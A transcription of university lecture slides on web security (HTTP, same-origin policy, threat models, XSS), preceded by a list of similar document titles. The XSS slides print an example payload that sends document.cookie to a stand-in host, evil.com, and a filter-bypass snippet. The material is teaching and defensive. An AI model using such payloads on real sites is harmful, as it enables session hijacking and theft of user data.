ECE458 Winter 2013. Web Security. Slides from John Mitchell and Vitaly Shmatikov (Modified by Vijay Ganesh)



Similar documents
Method of control. Lots of ways to architect C&C: Star topology; hierarchical; peer-to-peer Encrypted/stealthy communication.

Browser Security Model

CIS 551 / TCOM 401 Computer and Network Security. Spring 2007 Lecture 20

Web applications. Web security: web basics. HTTP requests. URLs. GET request. Myrto Arapinis School of Informatics University of Edinburgh

Acunetix Website Audit. 5 November, Developer Report. Generated by Acunetix WVS Reporter (v8.0 Build )

Web-Application Security

A Server and Browser-Transparent CSRF Defense for Web 2.0 Applications. Slides by Connor Schnaith

Cross-Site Scripting

Introduction to Computer Security

Detecting and Exploiting XSS with Xenotix XSS Exploit Framework

HTTP. Internet Engineering. Fall Bahador Bakhshi CE & IT Department, Amirkabir University of Technology

reference: HTTP: The Definitive Guide by David Gourley and Brian Totty (O Reilly, 2002)

RTC-Web Security Considerations

Ethical Hacking as a Professional Penetration Testing Technique

The Top Web Application Attacks: Are you vulnerable?

T14 SECURITY TESTING: ARE YOU A DEER IN THE HEADLIGHTS? Ryan English SPI Dynamics Inc BIO PRESENTATION. Thursday, May 18, :30PM

Cyber Security Workshop Ethical Web Hacking

What is Web Security? Motivation

Bug Report. Date: March 19, 2011 Reporter: Chris Jarabek

Blackbox Reversing of XSS Filters

ArcGIS Server Security Threats & Best Practices David Cordes Michael Young

Project 2: Web Security Pitfalls

Relax Everybody: HTML5 Is Securer Than You Think

Web Application Worms & Browser Insecurity

A Tale of the Weaknesses of Current Client-side XSS Filtering

Recent Advances in Web Application Security

Web and Security 1 / 40

Creating Stronger, Safer, Web Facing Code. JPL IT Security Mary Rivera June 17, 2011

Java Web Application Security

Hack Yourself First. Troy troyhunt.com

Next Generation Clickjacking

COMP 112 Assignment 1: HTTP Servers

HTML5. Eoin Keary CTO BCC Risk Advisory.

Web Application Exploits

Network Security Web Security

Common Security Vulnerabilities in Online Payment Systems

CSE598i - Web 2.0 Security OWASP Top 10: The Ten Most Critical Web Application Security Vulnerabilities

Protocolo HTTP. Web and HTTP. HTTP overview. HTTP overview

Cracking the Perimeter via Web Application Hacking. Zach Grace, CISSP, CEH January 17, Mega Conference

Web application security

Web Application Security

Attacks on Clients: Dynamic Content & XSS

1. Introduction. 2. Web Application. 3. Components. 4. Common Vulnerabilities. 5. Improving security in Web applications

Chapter 1 Web Application (In)security 1

Preparing for the Cross Site Request Forgery Defense

How to break in. Tecniche avanzate di pen testing in ambito Web Application, Internal Network and Social Engineering

HTTP Response Splitting

A Tale of the Weaknesses of Current Client-Side XSS Filtering

Where every interaction matters.

WEB DEVELOPMENT IA & IB (893 & 894)

Hack Proof Your Webapps

Security Model for the Client-Side Web Application Environments

IJMIE Volume 2, Issue 9 ISSN:

WEB ATTACKS AND COUNTERMEASURES

WEB SECURITY CONCERNS THAT WEB VULNERABILITY SCANNING CAN IDENTIFY

Secure development and the SDLC. Presented By Jerry

Playing with Web Application Firewalls

SESSION IDENTIFIER ARE FOR NOW, PASSWORDS ARE FOREVER

Exploits: XSS, SQLI, Buffer Overflow

Introduction to web development and JavaScript

Still Aren't Doing. Frank Kim

Web Application Threats and Vulnerabilities Web Server Hacking and Web Application Vulnerability

External Vulnerability Assessment. -Technical Summary- ABC ORGANIZATION

Gateway Apps - Security Summary SECURITY SUMMARY

CTIS 256 Web Technologies II. Week # 1 Serkan GENÇ

Complete Cross-site Scripting Walkthrough

Essential IT Security Testing

Sichere Webanwendungen mit Java

WHITE PAPER. FortiWeb and the OWASP Top 10 Mitigating the most dangerous application security threats

The Dark Side of Ajax. Jacob West Fortify Software

Thomas Röthlisberger IT Security Analyst

Web Application Guidelines

Network Technologies

Cross Site Scripting Prevention

National Information Security Group The Top Web Application Hack Attacks. Danny Allan Director, Security Research

State of The Art: Automated Black Box Web Application Vulnerability Testing. Jason Bau, Elie Bursztein, Divij Gupta, John Mitchell

Is Drupal secure? A high-level perspective on web vulnerabilities, Drupal s solutions, and how to maintain site security

FINAL DoIT v.4 PAYMENT CARD INDUSTRY DATA SECURITY STANDARDS APPLICATION DEVELOPMENT AND MAINTENANCE PROCEDURES

Computer security Lecture 10. Web security, Mobile security

EECS 398 Project 2: Classic Web Vulnerabilities

Criteria for web application security check. Version

Web Application Security

Recommended Practice Case Study: Cross-Site Scripting. February 2007

OWASP and OWASP Top 10 (2007 Update) OWASP. The OWASP Foundation. Dave Wichers. The OWASP Foundation. OWASP Conferences Chair

Security features of ZK Framework

Internet Technologies. World Wide Web (WWW) Proxy Server Network Address Translator (NAT)

WWW. World Wide Web Aka The Internet. dr. C. P. J. Koymans. Informatics Institute Universiteit van Amsterdam. November 30, 2007

Computer Networks. Lecture 7: Application layer: FTP and HTTP. Marcin Bieńkowski. Institute of Computer Science University of Wrocław

Last update: February 23, 2004

Pwning Intranets with HTML5

Sitefinity Security and Best Practices

Hacking Web Apps. Detecting and Preventing Web Application Security Problems. Jorge Blanco Alcover. Mike Shema. Technical Editor SYNGRESS

Web Vulnerability Assessment Report

THE PROXY SERVER 1 1 PURPOSE 3 2 USAGE EXAMPLES 4 3 STARTING THE PROXY SERVER 5 4 READING THE LOG 6

Security-Assessment.com White Paper Leveraging XSRF with Apache Web Server Compatibility with older browser feature and Java Applet

Transcription:

ECE458 Winter 2013 Web Security Slides from John Mitchell and Vitaly Shmatikov (Modified by Vijay Ganesh)

Reported Web Vulnerabilities "In the Wild" Data from aggregator and validator of NVD-reported vulnerabilities

Web Applications! Big trend: software as a (Web-based) service Online banking, shopping, government, bill payment, tax prep, customer relationship management, etc. Cloud computing! Applications hosted on Web servers Written in a mixture of PHP, Java, Perl, Python, C, ASP Poorly written scripts with inadequate input validation slide 3

Typical Web Application Design! Runs on a Web server or application server! Takes input from Web users (via Web server)! Interacts with back-end databases and third parties! Prepares and outputs results for users (via Web server) Dynamically generated HTML pages Contain content from many different sources, often including regular users w Blogs, social networks, photo-sharing websites slide 4

Browser and Network Browser OS Hardware request reply website Network slide 5

Two Sides of Web Applications! Web browser Executes JavaScript presented by websites the user visits! Web application Runs at website w Banks, online merchants, blogs, Google Apps, many others Written in PHP, ASP, JSP, Ruby, slide 6

Web application vulnerabilities

Topics on Web security! Browser security model The browser as an OS and execution platform Basic http: headers, cookies Browser UI and security indicators! Authentication and session management How users authenticate to web sites Browser-server mechanisms for managing state! Web application security Application pitfalls and defenses! HTTPS: goals and pitfalls Network issues and browser protocol handling

Goals of web security! Safely browse the web Users should be able to visit a variety of web sites, without incurring harm: w No stolen information (without user s permission) w Site A cannot compromise session at Site B! Secure web applications Applications delivered over the web should have the same security properties we require for standalone applications! Other ideas?

Operating system system security security System Alice OS Attacker May control malicious files and applications

Network security Network Attacker System Intercepts and controls network communication Alice

Web security System Web Attacker Sets up malicious site visited by victim; no control of network Alice

Web Threat Models! Web attacker Control attacker.com Can obtain SSL/TLS certificate for attacker.com User visits attacker.com w Or: runs attacker s Facebook app! Network attacker Passive: Wireless eavesdropper Active: Evil router, DNS poisoning! Malware attacker Attacker escapes browser isolation mechanisms and run separately under control of OS

Malware attacker! Browsers (like any software) contain exploitable bugs Often enable remote code execution by web sites Google study: [the ghost in the browser 2007] w Found Trojans on 300,000 web pages (URLs) w Found adware on 18,000 web pages (URLs)! Even if browsers were bug-free, still lots of vulnerabilities on the web All of the vulnerabilities on previous graph: XSS, SQLi, CSRF,

Outline! Http! Rendering content! Isolation: Same Origin Policy! JavaScript Overview! XSS Attacks

HTTP

URLs! Global identifiers of network-retrievable documents! Example: http://stanford.edu:81/class?name=cs155#homework Protocol Fragment Hostname Port Path Query! Special characters are encoded as hex: %0A = newline %20 or + = space, %2B = + (special exception)

HTTP Request Method File HTTP version Headers GET /index.html HTTP/1.1 Accept: image/gif, image/x-bitmap, image/jpeg, */* Accept-Language: en Connection: Keep-Alive User-Agent: Mozilla/1.22 (compatible; MSIE 2.0; Windows 95) Host: www.example.com Referer: http://www.google.com?q=dingbats Blank line Data none for GET GET : no side effect POST : possible side effect

HTTP Response HTTP version Status code Reason phrase Headers HTTP/1.0 200 OK Date: Sun, 21 Apr 1996 02:20:42 GMT Server: Microsoft-Internet-Information-Server/5.0 Connection: keep-alive Content-Type: text/html Last-Modified: Thu, 18 Apr 1996 17:39:05 GMT Set-Cookie: Content-Length: 2543 Data <HTML> Some data... blah, blah, blah </HTML> Cookies

RENDERING CONTENT

Rendering and events! Basic execution model Each browser window or frame w Loads content w Renders Processes HTML and scripts to display page May involve images, subframes, etc. w Responds to events! Events can be User actions: OnClick, OnMouseover Rendering: OnLoad, OnBeforeUnload Timing: settimeout(), cleartimeout()

Pages can embed content from many sources! Frames: <iframe src= //site.com/frame.html > </iframe>! Scripts: <script src= //site.com/script.js > </script>! CSS (Cascading Style Sheets): <link rel="stylesheet" type="text /css href= //site/com/theme.css" />! Objects (flash): [using swfobject.js script ] <script> </script> var so = new SWFObject( //site.com/flash.swf', ); so.addparam( allowscriptaccess', always'); so.write('flashdiv');

Document Object Model (DOM)! Object-oriented interface used to read and write docs web page in HTML is structured data DOM provides representation of this hierarchy! Examples Properties: document.alinkcolor, document.url, document.forms[ ], document.links[ ], document.anchors[ ] Methods: document.write(document.referrer)! Also Browser Object Model (BOM) window, document, frames[], history, location, navigator (type and version of browser)

ISOLATION

Running Remote Code is Risky! Integrity Compromise your machine Install malware rootkit Transact on your accounts! Confidentiality Read your information Steal passwords Read your email 25

Frame and iframe! Window may contain frames from different sources Frame: rigid division as part of frameset iframe: floating inline frame! iframe example <iframe src="hello.html" width=450 height=100> If you can see this, your browser doesn't understand IFRAME. </iframe>! Why use frames? Delegate screen area to content from another source Browser provides isolation based on frames Parent may work even if frame is broken

Browser Sandbox! Goal Run remote web applications safely Limited access to OS, network, and browser data! Approach Isolate sites in different security contexts Browser manages resources, like an OS 27

Analogy Operating system! Primitives System calls Processes Disk! Principals: Users Discretionary access control! Vulnerabilities Buffer overflow Root exploit Web browser! Primitives Document object model Frames Cookies / localstorage! Principals: Origins Mandatory access control! Vulnerabilities Cross-site scripting Cross-site request forgery Injection attacks

Policy Goals! Safe to visit an evil web site! Safe to visit two pages at the same time Address bar distinguishes them! Allow safe delegation

Browser security mechanism A B A A B! Each frame of a page has an origin Origin = protocol://host:port! Scripts in each frame can access its own origin Network access, Read/write DOM, Storage (cookies)! Frame cannot access data associated with a different origin

The SOP questions are Can A get resources from B? Can A execute resources from B? Can A post content to B? Can A interfere with the DOM of B? Can A redirect a browsing context of B? Can A read cookies/localstorage of B?

XSS ATTACKS

JavaScript Security Model! Script runs in a sandbox No direct file access, restricted network access! Same-origin policy Can only read properties of documents and windows from the same server, protocol, and port If the same server hosts unrelated sites, scripts from one site can access document properties on the other slide 33

Library Import! Same-origin policy does not apply to scripts loaded in enclosing frame from arbitrary site <script type="text/javascript"> src="http://www.example.com/scripts/somescript.js"> </script>! This script runs as if it were loaded from the site that provided the page! slide 34

Web Attacker! Controls malicious website (attacker.com) Can even obtain SSL/TLS certificate for his site ($0)! User visits attacker.com why? Phishing email, enticing content, search results, placed by ad network, blind luck! Attacker has no other access to user machine!! Variation: gadget attacker Bad gadget included in otherwise honest mashup (EvilMaps.com) slide 35

XSS: Cross-Site Scripting Echoes user s name: <HTML>Hello, dear </HTML> evil.com victim s browser naive.com Access some web page <FRAME SRC= http://naive.com/hello.cgi? name=<script>win.open( http://evil.com/steal.cgi? cookie= +document.cookie) </script>> Forces victim s browser to call hello.cgi on naive.com with this script as name GET/ hello.cgi?name= <script>win.open( http:// evil.com/steal.cgi?cookie + document.cookie)</script> <HTML>Hello, dear <script>win.open( http:// evil.com/steal.cgi?cookie= +document.cookie)</script> Welcome!</HTML> hello.cgi hello.cgi executed GET/ steal.cgi?cookie= Interpreted as Javascript by victim s browser; opens window and calls steal.cgi on evil.com slide 36

So What?! Why would user click on such a link? Phishing email in webmail client (e.g., Gmail) Link in DoubleClick banner ad many many ways to fool user into clicking! So what if evil.com gets cookie for naive.com? Cookie can include session authenticator for naive.com w Or other data intended only for naive.com Violates the intent of the same-origin policy slide 37

Other XSS Risks! XSS is a form of reflection attack User is tricked into visiting a badly written website A bug in website code causes it to display and the user s browser to execute an arbitrary attack script! Can change contents of the affected website by manipulating DOM components Show bogus information, request sensitive data Control form fields on this page and linked pages w For example, MySpace.com phishing attack injects password field that sends password to bad guy! Can cause user s browser to attack other websites slide 38

Where Malicious Scripts Lurk! Hidden in user-created content Social sites (e.g., MySpace), blogs, forums, wikis! When visitor loads the page, webserver displays the content and visitor s browser executes script Many sites try to filter out scripts from user content, but this is difficult slide 39

Preventing Cross-Site Scripting! Preventing injection of scripts into HTML is hard! Blocking < and > is not enough Event handlers, stylesheets, encoded inputs (%3C), etc. phpbb allowed simple HTML tags like <b> <b c= > onmouseover= script x= <b >Hello<b>! Any user input must be preprocessed before it is used inside HTML In PHP, htmlspecialchars(string) will replace all special characters with their HTML codes w becomes &#039; becomes " & becomes & In ASP.NET, Server.HtmlEncode(string) slide 40